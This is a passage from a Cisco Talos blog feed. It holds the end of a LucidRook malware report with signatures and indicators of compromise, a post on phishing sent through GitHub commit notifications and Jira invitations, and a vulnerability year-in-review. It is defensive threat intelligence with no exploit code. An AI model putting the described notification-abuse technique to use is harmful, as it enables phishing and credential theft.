id="the-bottom-line">The&#xA0;bottom&#xA0;line&#xA0;</h2><p>Based on the&#xA0;tactics, techniques, and procedures (TTPs)&#xA0;and the level of engineering investment&#xA0;observed&#xA0;across these infection chains, we assess with medium confidence that this activity reflects a targeted intrusion rather than broad, opportunistic malware distribution. Delivery via&#xA0;spearphishing, combined with&#xA0;LucidRook&#x2019;s&#xA0;sophisticated design, suggests a sophisticated&#xA0;threat&#xA0;actor prioritizing flexibility, stealth, and victim-specific tasking.</p><p>Although&#xA0;Talos has&#xA0;not yet found a decryptable Lua bytecode payload executed by&#xA0;LucidRook, we are publishing these findings to make early detection possible and encourage community sharing, with the goal of uncovering&#xA0;additional&#xA0;indicators that may&#xA0;facilitate&#xA0;stronger clustering and attribution in the future.</p><h2 id="coverage">Coverage&#xA0;</h2><p>The following ClamAV signature detects and blocks this&#xA0;threat:</p><ul><li>Win.Backdoor.LucidRook-10059729-0&#xA0;&#xA0;</li><li>Lnk.Tool.UAT-10362-10059730-0&#xA0;&#xA0;</li><li>Win.Dropper.UAT-10362-10059731-0&#xA0;&#xA0;</li><li>Win.Tool.CobaltStrike-10059732-0&#xA0;</li></ul><p>The following SNORT&#xAE;&#xA0;rules cover this&#xA0;threat:&#xA0;&#xA0;</p><ul><li>Snort2 Rules: 66108, 66109, 66110, 66111&#xA0;</li><li>Snort3 Rules: 301447, 301448&#xA0;</li></ul><h2 id="indicators-of-compromise-iocs">Indicators of&#xA0;compromise (IOCs)&#xA0;&#xA0;</h2><p>IOCs for this research can also be found at our GitHub repository&#xA0;<a href="https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/new-lua-based-malware-lucidrook.txt" rel="noreferrer">here</a>.</p><p>d49761cdbea170dd17255a958214db392dc7621198f95d5eb5749859c603100a (malicious&#xA0;7z)&#xA0;</p><p>adf676107a6c2354d1a484c2a08c36c33d276e355a65f77770ae1ae7b7c36143 (malicious&#xA0;archive)&#xA0;</p><p>b480092d8e5f7ca6aebdeaae676ea09281d07fc8ccf2318da2fa1c01471b818d (Forged EXE&#xA0;dropper that drops&#xA0;LucidRook)&#xA0;</p><p>c2d983d3812b5b6d592b149d627b118db2debd33069efe4de4e57306ba42b5dc (Forged&#xA0;EXE dropper that drops&#xA0;LucidRook)&#xA0;</p><p>6aba7b5a9b4f7ad4203f26f3fb539911369aeef502d43af23aa3646d91280ad9 (LucidPawn, DismCore.dll)&#xA0;</p><p>bdc5417ffba758b6d0a359b252ba047b59aacf1d217a8b664554256b5adb071d (LucidPawn&#xA0;dropper, DismCore.dll)&#xA0;</p><p>f279e462253f130878ffac820f5a0f9ac92dd14ad2f1e4bd21062bab7b99b839 (malicious&#xA0;LNK)&#xA0;</p><p>166791aac8b056af8029ab6bdeec5a2626ca3f3961fdf0337d24451cfccfc05d (malicious&#xA0;LNK)&#xA0;</p><p>11ae897d79548b6b44da75f7ab335a0585f47886ce22b371f6d340968dbed9ae (LucidRook&#xA0;stager, DismCore.dll)&#xA0;</p><p>edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809 (LucidRook&#xA0;stager, DismCore.dll)&#xA0;</p><p>0305e89110744077d8db8618827351a03bce5b11ef5815a72c64eea009304a34 (LucidRook&#xA0;stager, DismCore.dll)&#xA0;</p><p>d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964 (LucidPawn dropper dropping&#xA0;LucidKnight)&#xA0;</p><p>aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1 (LucidKnight, DismCore.dll)&#xA0;</p><p>fd11f419e4ac992e89cca48369e7d774b7b2e0d28d0b6a34f7ee0bc1d943c056 (archive1.zip&#xA0;download from C2)</p><p>1.34.253[.]131 (abused FTP server)&#xA0;</p><p>59.124.71[.]242 (abused FTP server)&#xA0;</p><p>D.2fcc7078.digimg[.]store (DNS beaconing domain)&#xA0;</p><p><a href="mailto:fexopuboriw972@gmail.com" rel="noreferrer noopener"><u>fexopuboriw972@gmail.com</u></a>&#xA0;</p><p><a href="mailto:crimsonanabel@powerscrews.com" rel="noreferrer noopener"><u>crimsonanabel@powerscrews.com</u></a>&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Talos Takes: 2025's ransomware trends and zombie vulnerabilities]]></title><description><![CDATA[In this episode of Talos Takes, Amy and Pierre Cadieux unpack the ransomware and vulnerability trends that defined 2025.]]></description><link>https://blog.talosintelligence.com/talos-takes-2025s-ransomware-trends-and-zombie-vulnerabilities/</link><guid isPermaLink="false">69d3b1fb421b25000170424b</guid><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Amy Ciminnisi]]></dc:creator><pubDate>Tue, 07 Apr 2026 12:03:13 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1-2.jpg" alt="Talos Takes: 2025&apos;s ransomware trends and zombie vulnerabilities"><p>Join Amy and Pierre Cadieux as they unpack the ransomware and vulnerability trends that defined 2025. From the persistent ransomware threats targeting the manufacturing sector to the rise of stealthy living-off-the-land tactics, we break down what these shifts mean for your defense strategy.</p><p>Why are attackers are increasingly targeting your management infrastructure? How do you spot the difference between a system admin and a threat actor? Tune in to hear Talos&apos; insights on how to move beyond reacting to threats and start building a more resilient, proactive security posture for the year ahead. </p><p><a href="https://blog.talosintelligence.com/2025yearinreview/" rel="noreferrer">View the 2025 Year in Review here.</a></p><figure class="kg-card kg-embed-card"><iframe style="border-radius: 12px" width="100%" height="152" title="Spotify Embed: 2025&apos;s ransomware trends and zombie vulnerabilities" frameborder="0" allowfullscreen allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/episode/379YOTqjZisbNVTC0uchM2?si=cebb3751111e4d76&amp;utm_source=oembed"></iframe></figure>]]></content:encoded></item><item><title><![CDATA[The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines]]></title><description><![CDATA[Cisco Talos has recently observed an increase in activity that is leveraging notification pipelines in popular collaboration platforms to deliver spam and phishing emails. ]]></description><link>https://blog.talosintelligence.com/weaponizing-saas-notification-pipelines/</link><guid isPermaLink="false">69cfb958421b2500017041e3</guid><category><![CDATA[SecureX]]></category><category><![CDATA[Threat Spotlight]]></category><category><![CDATA[Cisco Talos Email Threat Prevention]]></category><category><![CDATA[Cisco Talos Email Filtering]]></category><dc:creator><![CDATA[Cisco Talos]]></dc:creator><pubDate>Tue, 07 Apr 2026 10:00:35 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/phishing-evergreen.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/phishing-evergreen.jpg" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines"><p><em>By Diana Brown</em></p><ul><li>Cisco Talos has recently&#xA0;observed&#xA0;an increase in activity that is&#xA0;leveraging&#xA0;notification pipelines in popular collaboration platforms to deliver spam and phishing emails.</li><li>These emails are transmitted using the legitimate mail delivery infrastructure associated with GitHub and Jira, minimizing the likelihood that they will be blocked in transit to potential victims.</li><li>By taking advantage of the built-in notification functionality available&#xA0;within&#xA0;these&#xA0;platforms, adversaries can more effectively circumvent email security and monitoring solutions and&#xA0;facilitate&#xA0;more effective delivery to potential victims.</li><li>In most cases, these campaigns have been associated with phishing and credential harvesting&#xA0;activity, which is often a precursor to&#xA0;additional&#xA0;attacks once credentials have been compromised&#xA0;and/or initial access has been achieved.&#xA0;</li><li>During&#xA0;one&#xA0;campaign&#xA0;conducted&#xA0;on Feb.&#xA0;17, 2026,&#xA0;approximately&#xA0;2.89% of the emails&#xA0;observed&#xA0;being sent from GitHub&#xA0;were&#xA0;likely associated&#xA0;with this abuse activity.&#xA0;</li></ul><h2 id="platform-abuse-social-engineering-and-saas-notification-hijacking">Platform&#xA0;abuse,&#xA0;social&#xA0;engineering, and&#xA0;SaaS&#xA0;notification&#xA0;hijacking&#xA0;</h2><p>Recent telemetry&#xA0;indicates&#xA0;an increase in threat actors&#xA0;leveraging&#xA0;the automated notification infrastructure of legitimate&#xA0;Software-as-a-Service (SaaS)&#xA0;platforms&#xA0;to&#xA0;facilitate&#xA0;social engineering campaigns. By embedding malicious lures within system-generated commit notifications, attackers bypass traditional reputation-based email security filters. This Platform-as-a-Proxy (PaaP) technique exploits the implicit trust organizations place in traffic originating&#xA0;from verified SaaS providers,&#xA0;effectively&#xA0;weaponizing legitimate infrastructure to bypass standard email authentication protocols. Talos&apos;&#xA0;analysis explores how attackers abuse the notification pipelines of platforms like GitHub and Atlassian to&#xA0;facilitate&#xA0;credential harvesting and social engineering.&#xA0;</p><h3 id="the-paap-model">The&#xA0;PaaP&#xA0;model&#xA0;</h3><p>The core of this campaign relies on the abuse of SaaS features to generate emails. Because the emails are dispatched from the platform&apos;s own infrastructure, they satisfy all standard authentication requirements (SPF, DKIM, and DMARC), effectively neutralizing the primary gatekeepers of modern email security. By decoupling the malicious intent from the technical infrastructure, attackers successfully deliver phishing content with a &quot;seal of approval&quot; that few security gateways are configured to challenge.&#xA0;</p><h3 id="anatomy-of-github-campaign-abusing-automated-notification-pipelines">Anatomy of&#xA0;GitHub&#xA0;campaign:&#xA0;Abusing&#xA0;automated&#xA0;notification&#xA0;pipelines&#xA0;</h3><p>The GitHub vector is a pure &quot;notification pipeline&quot; abuse&#xA0;mechanism. Attackers create repositories and push commits with payloads embedded in the commit messages.&#xA0;The User Interface Mechanism has&#xA0;two&#xA0;fields for text input: one is a&#xA0;mandatory&#xA0;summary, a single limited line, where the user provides a high-level overview of the change.&#xA0;Attackers&#xA0;weaponize this field to craft the&#xA0;initial&#xA0;social engineering hook,&#xA0;ensuring the malicious lure is the most&#xA0;prominent element&#xA0;of the resulting automated notification.&#xA0;The second field&#xA0;is an&#xA0;optional,&#xA0;extended description&#xA0;that&#xA0;allows for multi-line, detailed explanations. Attackers abuse this to place the primary&#xA0;scam content, such as fake billing details or fraudulent support numbers.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image002.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="440" height="86"><figcaption><span style="white-space: pre-wrap;">Figure 1: Email header</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image003.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="667" height="687" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/image003.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image003.png 667w"><figcaption><span style="white-space: pre-wrap;">Figure 2: The body of the message</span></figcaption></figure><p>By pushing a commit, the attacker triggers&#xA0;an&#xA0;automatic email notification.&#xA0;GitHub&#x2019;s system is&#xA0;configured&#xA0;to notify collaborators of repository activity. Because the content is generated by the platform&#x2019;s own system, it avoidssecurity flags.&#xA0;In this&#xA0;example,&#xA0;we can see the details of the commit followed by the&#xA0;scam&#xA0;message.&#xA0;At the bottom of the email, we&#xA0;have&#xA0;the&#xA0;mention of the&#xA0;subscription,&#xA0;buried at the very bottom of the&#xA0;page.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image004.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="635" height="234" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/image004.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image004.png 635w"><figcaption><span style="white-space: pre-wrap;">Figure 3: List-Unsubscribe link</span></figcaption></figure><p>The chain of Received headers shows the message entering the system from&#xA0;&#x201C;out-28[.]smtp[.]github[.]com&#x201D;&#xA0;(IP&#xA0;&#x201C;192[.]30[.]252[.]211&#x201D;). This is a known&#xA0;legitimate&#xA0;and&#xA0;verified GitHub SMTP server.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image005.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="679" height="62" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/image005.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image005.png 679w"><figcaption><span style="white-space: pre-wrap;">Figure 4: Raw headers</span></figcaption></figure><p>The email&#xA0;contains&#xA0;a DKIM-Signature&#xA0;with&#xA0;&#x201C;d=github[.]com&#x201D;.&#xA0;This signature was successfully verified by the receiving server (&#x201C;esa1[.]hc6633-79[.]iphmx[.]com&#x201D;), proving that the email was sent by an authorized GitHub system and was not tampered with in transit.&#xA0;Telemetry collected over a five-day observation period&#xA0;indicates&#xA0;that&#xA0;1.20%&#xA0;of the total traffic originating from&#xA0;&#x201C;noreply[@]github[.]com&#x201D;&#xA0;contained&#xA0;the &quot;invoice&quot; lure in the subject line. On the peak day of Feb.&#xA0;17, 2026, this volume spiked to approximately&#xA0;2.89%&#xA0;of the daily sample set.&#xA0;</p><h3 id="abusing-workflow-and-invitation-logic-jira">Abusing&#xA0;workflow&#xA0;and invitation&#xA0;logic (Jira)&#xA0;</h3><p>The Jira vector does not rely on a notification pipeline in the traditional sense.&#xA0;Jira notifications are expected in corporate environments. An email from Atlassian is rarely blocked, as it is often critical for internal project management and IT operations. The abuse here is not a &quot;pipeline&quot; of activity, but an abuse of the collaborative invitation feature.&#xA0;&#xA0;</p><p>Attackers do not have access to&#xA0;modify&#xA0;the underlying HTML/CSS templates of Atlassian&#x2019;s emails. Instead, they abuse the data fields that the platform injects into those templates. When an attacker creates a Jira Service Management project, they are given several fields to configure.&#xA0;When the platform triggers an automated&#xA0;&#x201C;Customer Invite&#x201D;&#xA0;or&#xA0;&#x201C;Service Desk&#x201D;&#xA0;notification, it automatically wraps the attacker&#x2019;s input&#xA0;&#x2014;&#xA0;such as a fraudulent project name or a deceptive welcome message&#xA0;&#x2014;&#xA0;within its own cryptographically signed, trusted email template.&#xA0;By&#xA0;utilizing&#xA0;a trusted delivery pipeline, the attacker successfully obscures the origin and intent of the&#xA0;malicious.&#xA0;</p><p>In this example, the attacker sets the &quot;Project Name&quot; to &quot;Argenta.&quot; When the platform sends an automated invite, the email subject and body dynamically pull the project name. The recipient sees &quot;Argenta&quot; as the sender or the subject, which the platform has verified as the project name.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image006.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="400" height="89"><figcaption><span style="white-space: pre-wrap;">Figure 5: Email header</span></figcaption></figure><p>The attacker&#xA0;placed&#xA0;their malicious lure&#xA0;subject&#xA0;into&#xA0;the &quot;Welcome Message&quot; or &quot;Project Description&quot; field.&#xA0;They use&#xA0;the &quot;Invite Customers&quot;&#xA0;feature and&#xA0;input the victim&apos;s email address. Atlassian&#x2019;s backend then generates the email. Because the system is designed to be a &quot;Service Desk,&quot; the email is formatted to look like a professional, automated system alert. At the bottom of the phishing email, we can see the branding footer that Jira automatically appends to email notifications.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/image007.png" class="kg-image" alt="The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines" loading="lazy" width="461" height="333"><figcaption><span style="white-space: pre-wrap;">Figure 6: The body of the message and the footer branding</span></figcaption></figure><h2 id="strategic-implications">Strategic&#xA0;implications&#xA0;</h2><p>The&#xA0;trust&#xA0;paradox is now the primary driver of successful phishing&#xA0;and&#xA0;scamming. GitHub is abused primarily for its high developer reputation, where attackers rely on the platform&#x2019;s status as an official source of automated alerts. In contrast, Jira is abused for its business-critical integration; because it is a trusted enterprise tool, attackers use it to mimic internal IT and helpdesk alerts, which employees are&#xA0;pre-conditioned to treat as urgent and legitimate. In both cases, attackers are using the platform&apos;s own reputation to launder their malicious content.&#xA0;</p><h3 id="how-do-we-fundamentally-change-the-trust-model">How&#xA0;do we&#xA0;fundamentally change the trust model?&#xA0;</h3><p>Defending against&#xA0;PaaP&#xA0;attacks requires moving&#xA0;from the binary &#x201C;trusted vs. untrusted&#x201D; approach.&#xA0;Because attackers weaponize the platform&#x2019;s own infrastructure to bypass authentication protocols (SPF/DKIM/DMARC), the gateway is effectively blind to the malicious intent.&#xA0;Defenders&#xA0;should&#xA0;transition to a Zero-Trust architecture that treats SaaS notifications as untrusted traffic until verified against platform-level telemetry.&#xA0;Moving&#xA0;beyond the limitations of the email gateway and adopt a fundamental&#xA0;paradigm shift: transitioning from reactive, signature-based filtering toward a proactive, API-driven model&#xA0;architecture&#xA0;that&#xA0;validates&#xA0;intent before a notification ever reaches the user.&#xA0;&#xA0;</p><p><strong>Identity and</strong>&#xA0;<strong>instance-level</strong>&#xA0;<strong>verification:</strong>&#xA0;We must move from &quot;global domain trust&quot; to &quot;instance-level authorization.&quot; Security teams should restrict&#xA0;notification&#xA0;acceptance to specific sender addresses or IP ranges associated with their organization&#x2019;s verified SaaS instances. Furthermore, by implementing Identity-Contextualization, notifications must be cross-referenced against the organization&apos;s internal SaaS directory. If a notification originates from an external or unverified account&#xA0;&#x2014;&#xA0;even one hosted on a trusted platform like GitHub&#xA0;&#x2014;&#xA0;it should be automatically quarantined. Verification is no longer about the server sending the email; it is about the identity of the user triggering the action.&#xA0;</p><p><strong>Upstream API-level</strong>&#xA0;<strong>monitoring:</strong>&#xA0;The most effective way to disrupt&#xA0;PaaP&#xA0;campaigns is to detect them before the notification is ever sent. Attackers must perform &quot;precursor activities&quot; within the platform&#xA0;&#x2014;&#xA0;such as creating repositories, configuring project names, or mass-inviting users&#xA0;&#x2014;&#xA0;to set the stage for their&#xA0;cyber-attack. By ingesting metadata from SaaS APIs (e.g., GitHub or Atlassian audit logs) into a SIEM/SOAR environment, security teams can&#xA0;identify&#xA0;these anomalous events in real-time. Detecting a &quot;Project Creation&quot; event that deviates from established naming conventions,&#xA0;originating&#xA0;from a country where the receiving organization has no employees&#xA0;or occurs outside of business hours allows for the preemptive suspension of the malicious account, neutralizing the threat at the source.&#xA0;Instead of waiting for a phishing email to arrive in an inbox, defenders are watching the&#xA0;attacker&#x2019;s&#xA0;movements inside the platform as they set up the attack.&#xA0;</p><p><strong>Semantic</strong>&#xA0;<strong>intent and</strong>&#xA0;<strong>behavioral</strong>&#xA0;<strong>profiling:</strong>&#xA0;We must replace simple&#xA0;keyword matching&#xA0;with Business Logic Profiling. Every sanctioned SaaS tool has a functional &quot;Communication Baseline.&quot; GitHub is for code collaboration; Jira is for project management. By defining these baselines, security teams can detect &quot;semantic discontinuity,&quot;&#xA0;when the content of a notification (e.g., urgent financial billing) is incongruent with the platform&apos;s primary utility. Any notification that deviates from the expected functional profile should trigger an automated &quot;Suspicious&quot; banner or be routed for manual review, regardless of its technical validity.&#xA0;</p><p><strong>Mitigating</strong>&#xA0;<strong>cognitive</strong>&#xA0;<strong>automation</strong>&#xA0;<strong>fatigue:</strong>&#xA0;PaaP&#xA0;attacks exploit &quot;automation fatigue,&quot; where users are conditioned to trust system-generated alerts. To break this cycle, organizations&#xA0;can&#xA0;introduce intentional friction. For high-risk SaaS interactions, such as new project invitations or requests for sensitive data, security policies should mandate out-of-band verification. By requiring a platform-native verification code or forcing the user to navigate directly to the official portal rather than clicking a link, we remove the &quot;reflexive trust&quot; that attackers rely on. This ensures that the platform&#x2019;s &quot;seal of approval&quot; is&#xA0;validated&#xA0;by a deliberate human action.&#xA0;</p><p><strong>Automated</strong>&#xA0;<strong>takedown</strong>&#xA0;<strong>orchestration:</strong>&#xA0;Finally, the cost of attack must be increased. Security teams should integrate automated workflows that report malicious repositories or projects directly to the provider&#x2019;s Trust&#xA0;andSafety teams. By accelerating the detection-to-takedown lifecycle, we force adversaries to constantly churn their infrastructure, making the&#xA0;PaaP&#xA0;model technically and economically unsustainable.&#xA0;</p><p>By adopting this framework, the security posture evolves from &quot;Is this email authenticated?&quot; to &quot;Is this platform activity authorized and consistent with our business logic?&quot; This shift effectively&#xA0;strips&#xA0;the trusted status that attackers exploit, forcing them to&#xA0;operate&#xA0;within an&#xA0;environment where their actions are&#xA0;monitored, profiled, and verified at every stage of the pipeline.&#xA0;</p><h2 id="acknowledgements">Acknowledgements&#xA0;</h2><p>Special thanks to the&#xA0;Talos&#xA0;Email Security&#xA0;Research&#xA0;Team&#xA0;&#x2014;&#xA0;Dev Shah,&#xA0;Lucimara&#xA0;Borges,&#xA0;Bruno Antonino, Eden Avivi, Marina Barsegyan,&#xA0;Barbara Turino Jones,&#xA0;Doaa Osman,&#xA0;Yosuke Okazaki,&#xA0;and&#xA0;Said Toure&#xA0;&#x2014;&#xA0;for their collaborative effort in&#xA0;identifying&#xA0;and mitigating these platform abuse vectors.&#xA0;</p><h2 id="indicators-of-compromise-iocs">Indicators of&#xA0;compromise (IOCs)&#xA0;</h2><p>IOCs for this threat can be found on our GitHub repository&#xA0;<a href="https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/weaponizing-saas-notification-pipelines.txt" rel="noreferrer">here</a>.&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Year in Review: Vulnerabilities old and new and something React2]]></title><description><![CDATA[The year was characterized by an unending beat-down on infrastructure that relied on older enmeshed dependencies (e.g., Log4j and PHPUnit), while React2Shell rocketed to the highest percentage of attacks for the entire year within the last three weeks of 2025. ]]></description><link>https://blog.talosintelligence.com/year-in-review-vulnerabilities-old-and-new-and-something-react2/</link><guid isPermaLink="false">69d3bcef421b25000170425b</guid><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Kri Dontje]]></dc:creator><pubDate>Tue, 07 Apr 2026 10:00:11 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_vulnerabilities.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_vulnerabilities.jpg" alt="Year in Review: Vulnerabilities old and new and something React2"><p>Speed and age&#xA0;shouldn&#x2019;t&#xA0;be allowed to pair up, but that is the theme of&#xA0;the&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview/" rel="noreferrer noopener"><u>Talos 2025 Year in Review</u></a>&#xA0;vulnerability findings.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_top10_vulns.jpg" class="kg-image" alt="Year in Review: Vulnerabilities old and new and something React2" loading="lazy" width="1875" height="1545" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/YiR_top10_vulns.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/YiR_top10_vulns.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/YiR_top10_vulns.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_top10_vulns.jpg 1875w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 1. React/React2Shell (2025) at the top, with PHPUnit (2017) and Log4j (2021) following up.</span></figcaption></figure><p>The year was characterized by an unending beat-down on infrastructure that relied on older enmeshed dependencies (e.g., Log4j and PHPUnit), while React2Shell&#xA0;rocketed&#xA0;to the highest percentage of attacks for the entire year within the last&#xA0;three&#xA0;weeks of 2025.&#xA0;Agentic AI&apos;s capacity for building&#xA0;and deploying&#xA0;new&#xA0;proofs-of-concepts&#xA0;and exploit kits lowered&#xA0;attacker&#xA0;time-to-exploit, and the landscape&#xA0;shifted&#xA0;for defenders.&#xA0;</p><p><em>&#x201C;The speed at which these CVEs climbed into the top tier reflects a larger systemic challenge: Newly disclosed vulnerabilities in widely deployed software can generate significant, organization-wide impact long before typical patch cycles catch up, leaving defenders with small&#xA0;reaction windows and escalating consequences for even short-lived exposure.&#x201D;&#xA0;&#x2013;&#xA0;2025 Talos&#xA0;Year&#xA0;in&#xA0;Review</em></p><h2 id="top-targeted-infrastructure">Top-targeted&#xA0;infrastructure&#xA0;</h2><p>Outdated infrastructure continues to expand the attack surface.&#xA0;Components like&#xA0;PHPUnit, ColdFusion, and Log4j&#xA0;are often embedded within&#xA0;applications, tightly coupled to legacy applications.&#xA0;Technologies age quickly, and companies are under pressure to adopt&#xA0;first, ask questions later. Low-use&#xA0;systems in&#xA0;a network&#xA0;can&#xA0;fossilize,&#xA0;unnoticed&#xA0;and unpatched. Others become mainstays that often cannot be&#xA0;swapped out or even patched without destabilizing an organization.&#xA0;&#xA0;</p><p>Attackers prioritized&#xA0;software and firmware inside network appliances, identity-adjacent systems, and widely deployed open-source components:&#xA0;</p><ul><li>Remote code execution&#xA0;(RCE)&#xA0;flaws,&#xA0;which&#xA0;enable access without requiring user interaction, avoiding a need for social engineering&#xA0;&#xA0;</li><li>Legacy systems&#xA0;and&#xA0;widely used&#xA0;components&#xA0;</li><li>Perimeter devices,&#xA0;especially without&#xA0;endpoint detection and response (EDR)&#xA0;</li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_top50_CVEs.jpg" class="kg-image" alt="Year in Review: Vulnerabilities old and new and something React2" loading="lazy" width="1875" height="1181" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/YiR_top50_CVEs.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/YiR_top50_CVEs.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/YiR_top50_CVEs.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_top50_CVEs.jpg 1875w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;2.&#xA0;Top 50 network infrastructure CVEs.</span></figcaption></figure><p>The theme was&#xA0;identity, identity, identity.&#xA0;Controlling identity meant&#xA0;controlling access,&#xA0;so&#xA0;attackers&#xA0;focused on components that authenticate users, enforce access decisions, and broker trust between systems.&#xA0;A small number of vulnerabilities targeting these vectors drove outsized risk.&#xA0;This can invalidate&#xA0;multi-factor authentication (MFA)&#xA0;checks and bypass segmentation.&#xA0;</p><h2 id="defender-recommendations">Defender&#xA0;recommendations&#xA0;</h2><p>Attacker prioritization is now guided less by vulnerability age or maturity and more by exposure, exploitability, and proximity to trust, reshaping how organizations must think about risk in modern environments.&#xA0;</p><p>Attackers exploit patching&#xA0;gaps and policy weaknesses&#xA0;in vendor lifecycles.&#xA0;Organizations should&#xA0;evaluate&#xA0;their identity-centric network components and&#xA0;management&#xA0;platforms and&#xA0;prioritize patching of network devices&#xA0;accordingly.&#xA0;</p><p>For&#xA0;a more&#xA0;in-depth&#xA0;analysis of&#xA0;these trends, as well as how company size impacted CVE targeting trends,&#xA0;why the management plane matters,&#xA0;and&#xA0;the shortening window&#xA0;defenders have&#xA0;for putting&#xA0;defenses in place, see the&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview/" rel="noreferrer noopener"><u>2025 Year in Review</u>&#xA0;<u>report</u></a>.</p>]]></content:encoded></item><item><title><![CDATA[Do not get high(jacked) off your own supply (chain)]]></title><description><![CDATA[In the span of just a few weeks, we have observed a dizzying array of major supply chain attacks. If we are all building on such shaky foundation, what can we do to keep safe?]]></description><link>https://blog.talosintelligence.com/protecting-supply-chain-2026/</link><guid isPermaLink="false">69cfef79421b25000170420e</guid><category><![CDATA[On The Radar]]></category><dc:creator><![CDATA[Dave Liebenberg]]></dc:creator><pubDate>Fri, 03 Apr 2026 17:31:42 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/on_the_radar.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/on_the_radar.png" 